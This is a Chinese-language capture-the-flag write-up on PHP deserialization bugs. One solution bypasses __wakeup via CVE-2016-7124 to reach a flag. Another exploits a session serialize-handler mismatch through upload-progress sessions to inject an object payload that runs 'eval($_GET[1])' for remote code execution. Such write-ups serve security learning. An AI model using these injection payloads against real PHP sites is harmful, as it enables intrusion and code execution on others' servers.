PHP 反序列化漏洞题解集
BUU - [极客大挑战2019] PHP
考虑扫描,结果 BUUOJ 有访问次数限制。人工试 www.zip
拿到源码。
<!-- class.php -->
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
<!-- index.php -->
...
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
...
逻辑如下:首先反序列化我们提交的字符串,注意 __wakeup
函数会在 Name
类反序列化时调用。Name
对象销毁时,若 password==100
且 username === 'admin'
则获得 flag。
第一步是 bypass 这个 __wakeup
函数。从 Header 里面我们得知 php 版本是 5.3.3。
php 反序列化经常使用 CVE-2016-7124,有效范围是 「PHP before 5.6.25 and 7.x before 7.0.10」。这里符合条件,所以当反序列化时,若 O
标记所声明的属性个数大于实际的属性个数,则 __wakeup
会被跳过。
构造 payload 的脚本如下:
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$obj = new Name();
var_dump(serialize($obj));
把这个 2 改成 3,urlencode 之后拿到 flag。
总结:考察了 CVE-2016-7124 的使用。
Jarvis - Web - PHPINFO
题目入口 http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
拿 phpinfo,如下:
首先我们要搭建复现环境。docker-compose 如下:
version: "3.1"
services:
web:
image: php:5.6.21-apache
restart: always
ports:
- 10008:80
volumes:
- ./src:/var/www/html
查看 phpinfo,发现题目环境的一些异常。
session.serialize_handler
在题目环境中 master 值是php_serialize
,但我们查阅 文档,得知这个默认应该是php
;在index.php
里面又被手动设为了php
,所以 local 值是php
。session.upload_progress.cleanup
被设为了 Off,默认为 On。查阅文档可知,如果这个被设为 On,则 upload progress session 会在文件上传完成之后被清空。目前设为 Off,来保留这个 session 字段。这个很重要,对复现环境和解题都有影响。
于是我们创建 /usr/local/etc/php/php.ini
,里面写:
session.serialize_handler=php_serialize
session.upload_progress.cleanup=off
docker-compose 重启容器,我们得到了与题目一致的复现环境。
题目中并没有暴露 unserialize 接口,我们应当从其他地方寻找反序列化点。一旦找到,就可以 RCE。
我们知道,PHP 的 session 就是一个键值对。而关于它在文件系统中的存储方式,查阅 文档 得知:
session.serialize_handler
defines the name of the handler which is used to serialize/deserialize data. PHP serialize format (namephp_serialize
), PHP internal formats (namephp
andphp_binary
) and WDDX are supported (namewddx
). WDDX is only available, if PHP is compiled with WDDX support.php_serialize
uses plain serialize/unserialize function internally and does not have limitations thatphp
andphp_binary
have. Older serialize handlers cannot store numeric index nor string index contains special characters (|
and!
) in $_SESSION. Usephp_serialize
to avoid numeric index or special character errors at script shutdown. Defaults tophp
.
首先是默认形式 php
。存储方法为 key|value
。我们构造一个来看一下:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['msg1'] = 'hello, world';
$_SESSION['msg2'] = '你好,世界!';
var_dump($_SESSION);
浏览器访问这个页面:
我们的 cookie 值是 295c752a4ccb19cdaa932515121d1333
,这个容器的 session 存储位置是 /tmp
,所以查看 /tmp/sess_295c752a4ccb19cdaa932515121d1333
文件:
可以看到,session 文件如下:
msg1|s:12:"hello, world";msg2|s:18:"你好,世界!";
第二种存储方式是 php_binary
。它不采用竖线 |
来分隔 key 和 value,而是将 key 的长度以其 ascii 对应字符编码。如下:
\x04msg1s:12:"hello, world";\x04msg2s:18:"你好,世界!";
第三种存储方式,也是 PHP 手册所推荐的, php_serialize
。它不按一个个键值对「各自编码,最后拼接」,而是将整个 session 作为一个 Array 来序列化。如下:
a:2:{s:4:"msg1";s:12:"hello, world";s:4:"msg2";s:18:"你好,世界!";}
当 session 文件的存储采用某种方式,而读取采用另一种方式时,就会产生可以利用的不一致性。
PHP 提供了 upload process session 来存储文件传输的进度。要使用这一特性,可以在文件上传的接口建立一个 PHP_SESSION_UPLOAD_PROGRESS
字段(可能有变,由 session.upload_progress.name
的设置决定),具体而言是写这样一个上传框:
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="myfile" />
<input type="file" name="file1" />
<input type="submit" />
</form>
于是在上传文件途中, $_SESSION['upload_progress_myfile']
会包含文件上传过程中的信息。由于 session.upload_progress.cleanup
设为了 Off,这个 session 字段在文件传输完成后仍然保留。
我们来试验一下:
<?php
session_start();
echo file_get_contents('/tmp/sess_9cd52f6ea0f02a3d7fbee68be6032eb3');
var_dump($_SESSION);
/*
a:1:{s:22:"upload_progress_myfile";a:5:{s:10:"start_time";i:1628673619;s:14:"content_length";i:307;s:15:"bytes_processed";i:307;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:9:"blue.jpeg";s:8:"tmp_name";s:14:"/tmp/phphWmv3Y";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1628673619;s:15:"bytes_processed";i:3;}}}}
array(1) {
["upload_progress_myfile"]=>
array(5) {
["start_time"]=>
int(1628673619)
["content_length"]=>
int(307)
["bytes_processed"]=>
int(307)
["done"]=>
bool(true)
["files"]=>
array(1) {
[0]=>
array(7) {
["field_name"]=>
string(5) "file1"
["name"]=>
string(9) "blue.jpeg"
["tmp_name"]=>
string(14) "/tmp/phphWmv3Y"
["error"]=>
int(0)
["done"]=>
bool(true)
["start_time"]=>
int(1628673619)
["bytes_processed"]=>
int(3)
}
}
}
}
*/
发现上传文件时,upload progress session 的编码方式是 php_serialize
。而本题的 index.php
又会以 php
方式来读取 session 文件,于是产生了不一致性。
由于读取时是采用 php
方式,竖线前面的部分视为 key,竖线后面的部分视为 value。那么我们完全可以把 PHP_SESSION_UPLOAD_PROGRESS
设为 myfile|sth
,则最终存储到文件中的内容如下:
a:1:{s:22:"upload_progress_myfile|sth";a:5....
当以 php
方式来读取时,会认为 a:1:{s:22:"upload_progress_myfile
是一个 key,将 sth";a:5...
这些内容视为 value 在序列化之后的结果,进行 unserialize。
我们需要知道一条性质:unserialize 执行时,只要成功构建出一个对象,则会立即停止反序列化,忽略字符串之后的部分。于是我们只需要在 sth
填入完整的序列化串(以分号结尾),之后的 ";a:5...
这些垃圾就会被忽略掉。
最终的 payload 如下:
myfile|O:5:"OowoO":1:{s:4:"mdzz";s:15:"eval($_GET[1]);";}
于是构造出了一个 RCE。不过 system
之类的函数被禁用了。采用 var_dump(scandir(dirname(__FILE__)))
来扫当前目录,用 show_source
来读文件即可。
总结:
- session 在文件系统中有几种不同的存储方式
- 在成功反序列化一个对象之后,字符串的后续内容会被忽略
- 及早搭建复现环境,还是很重要的。
参考链接: